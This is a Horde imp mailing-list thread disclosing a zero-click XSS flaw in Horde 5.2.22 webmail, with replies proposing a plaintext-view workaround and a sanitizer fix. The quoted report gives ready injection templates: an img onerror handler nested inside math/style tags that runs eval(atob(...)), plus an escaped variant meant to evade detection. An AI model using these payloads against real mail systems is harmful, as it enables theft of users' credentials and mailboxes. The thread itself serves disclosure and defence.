[imp] Horde v 5.2.22 vulnerability – obfuscation via HTML encoding – XSS payload

[Patrick Boutilier]

On 2025-03-24 07:16, Jens Wahnes wrote:
> Hi Nataša,
> 
> thank you for reporting this to the mailing list, so that users of Horde 
> can react to this, despite the foundered Horde development in general.
> 
> At first, I was a bit confused about your report, when you mentioned 
> boundaries and base64 encoding. My initial thought was that the problem 
> could have to do with the names used for separating MIME parts of an 
> email message, i.e. that the malicious code would be hidden inside the 
> name of the boundary, using base64 encoding.
> 
> But when I looked at the whole issue more closely, I understood that 
> MIME delimiters/boundaries to not really play a role here. My 
> understanding as of now is that this flaw concerns multipart e-mails 
> that consist of a "text/html" part and that certain Javascript code can 
> be "smuggled" into the browser, where it is executed, by putting 
> specially crafted HTML code into the email.
> 
> When I tried to exploit this flaw in Horde 5 and did several tests, it 
> was my impression that code execution is only possible when the HTML 
> code in the email is not well-formed. It seems that Imp's stripping of 
> HTML code from an email basically assumes valid HTML code, but when the 
> HTML code is in fact invalid, some code may slip through the filtering 
> process. That's how I regard the nesting of "math", "style" and "img" 
> tags in the example you gave. If the HTML tags were properly arranged, 
> then Horde/Imp would sanitize the code read from the email and the 
> malicious Javascript would not be delivered to the browser.
> 
> In case not everyone is aware of this, I would like to point out that 
> the workaround Nataša mentioned in the second e-mail, i.e. to switch to 
> plaintext view, is possible using the 'advanced' preference named 
> "alternative_display". So as a Horde administrator, one might want to 
> update the imp/prefs.local.php file and change the line to read
> 
> $_prefs['alternative_display']['value'] = 'text';
> 
> in case this was set to "html" previously. Another approach would be to 
> search the user's pref database for users that have actively set this 
> preference and possibly alter their setting. In case of a MySQL database 
> for preference storage, this can be done using a statement like this: 
> "select pref_uid, pref_value from horde_prefs where pref_scope='imp' and 
> pref_name='alternative_display'"
> 
> In my analysis, I only looked into Horde 5/Imp 6, so I cannot make any 
> statement about Horde 6/Imp 7 being affected or not, nor about the 
> "alternative_display" workaround for these newer versions.
> 
> One solution I found to filter out the malicious content from emails 
> like the one Nataša described was to tighten the code used to sanitize 
> HTML in e-mails. This is found in the imp/lib/Mime/Viewer/Html.php file. 
> The code in the big "switch" statement of the "_node" method, around 
> line 435 or so, dealing with "case 'style'", can be extended to call 
> "removeChild($node)" not only in the sub-case of 'text/css', as already 
> present in the file, but also in the general case. When I added a 
> statement to that effect, the malicious code from the email was no 
> longer delivered to the browser. So that's a solution others may want to 
> try as well, assuming there will be no official patch or newer version 
> released by Horde maintainers.


Jens,

Can you provide a patch/diff file for your changes?

Thanks.



> 
> Jens
> 
> 
> Nataša K. Arh wrote:
>> Hi.
>>
>> A vulnerability within Horde Web Client was discovered during our
>> investigation. We have already seen this vulnerability being exploited in
>> the wild.
>>
>> If an attacker crafts a specially prepared email, he/she can abuse this
>> vulnerability to retrieve username, password and complete email 
>> database of
>> a user mailbox.
>>
>>
>> *Details*
>>
>> The content inside email header base64 encoded text/html boundary 
>> contains
>> a specially crafted HTML.
>>
>>
>> --===============boundary==
>>
>> Content-Type: text/html; charset="utf-8"
>>
>> Content-Transfer-Encoding: base64
>>
>> MIME-Version: 1.0
>>
>>
>> Injecting a XSS payload inside an HTML attribute, namely the “onerror”
>> event handler, the server-side checks does not sanitize the payload and
>> does not detect HTML encoded characters.
>>
>> When the browser renders the page, it will decode and execute the 
>> injected
>> payload.
>>
>> This is injected at the end of the legit HTML content.
>>
>>
>> Example:
>>
>> <html>
>>
>> <body>
>>
>> <p>Hi...</p>
>>
>> Regards<br>
>>
>> *<math><style>*
>>
>> *<img style=display:none src=nonexsisting.png
>> onerror="window.parent.eval(window.parent.atob('base64 encoded
>> JavaScript'));">*
>>
>> *</style></math>*
>>
>> </body></html>
>>
>>
>> To evade detection Unicode characters can be used:
>> For eval:
>> - \u{065} represents the Unicode character for the letter "e."
>> - \u{076} represents the Unicode character for the letter "v."
>> - \141 (octal) or \x6C (hexadecimal) represents the letter "a."
>> - \x6C represents the hexadecimal for the letter "l."
>>
>> For atob:
>> - \u{61} represents the Unicode character for the letter "a."
>> - \u{74} represents the Unicode character for the letter "t."
>> - o is a regular character.
>> - \142 (octal) represents the letter "b."
>>
>> Example:
>>
>> <html>
>> <body>
>> <p>Hi...</p>
>> Regards<br>
>> *<math><style><img style=display:none **src=nonexsisting.png*
>> * onerror="window.parent['\u{065}\u{076}\141\x6C'] 
>> (window.parent['\u{61}\u{74}o\142']('base64
>> encoded JavaScript'))"></style></math>*
>> </body></html>
>>
>> The “nonexsisting.png” image is searched inside /imp, since it does not
>> exist the “onerror” content is executed.
>>
>> A specially crafted JavaScript code inside the *'base64 encoded 
>> JavaScript'* is
>> executed.
>>
>> This kind of crafted email is a zero-click attack, where no click is 
>> needed
>> from a user side other then looking this email in the Horde web client.
>>
>> Since there are still Horde web clients used, it would be nice to fix 
>> this
>> vulnerability.
>>
>>
>>
>> -- 
>> Regards.
> 
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: boutilpj.vcf
Type: text/vcard
Size: 294 bytes
Desc: not available
URL: <https://lists.horde.org/archives/imp/attachments/20250324/db0e38cf/attachment.vcf>